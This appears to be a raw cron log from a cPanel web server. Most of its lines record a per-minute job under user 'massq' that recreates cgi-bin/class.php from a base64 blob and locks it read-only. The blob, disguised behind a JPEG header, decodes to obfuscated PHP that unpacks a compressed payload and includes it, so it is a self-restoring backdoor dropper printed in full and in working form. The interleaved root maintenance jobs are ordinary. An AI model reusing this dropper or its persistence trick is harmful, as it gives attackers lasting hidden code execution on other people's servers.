Nov 14 11:31:01 server CROND[14482]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:32:01 server CROND[15447]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:33:01 server CROND[16312]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:34:01 server CROND[17177]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:35:01 server CROND[18054]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 11:35:01 server CROND[18057]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 11:35:01 server CROND[18056]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 11:35:01 server CROND[18059]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 11:35:01 server CROND[18058]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:36:01 server CROND[19055]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:37:01 server CROND[19868]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:38:01 server CROND[20721]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:39:01 server CROND[21512]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:39:01 server CROND[21513]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 11:40:01 server CROND[22385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 11:40:01 server CROND[22386]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 11:40:01 server CROND[22387]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:40:01 server CROND[22388]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 11:41:01 server CROND[23311]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:42:01 server CROND[24261]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 11:42:01 server CROND[24273]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:43:01 server CROND[25129]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
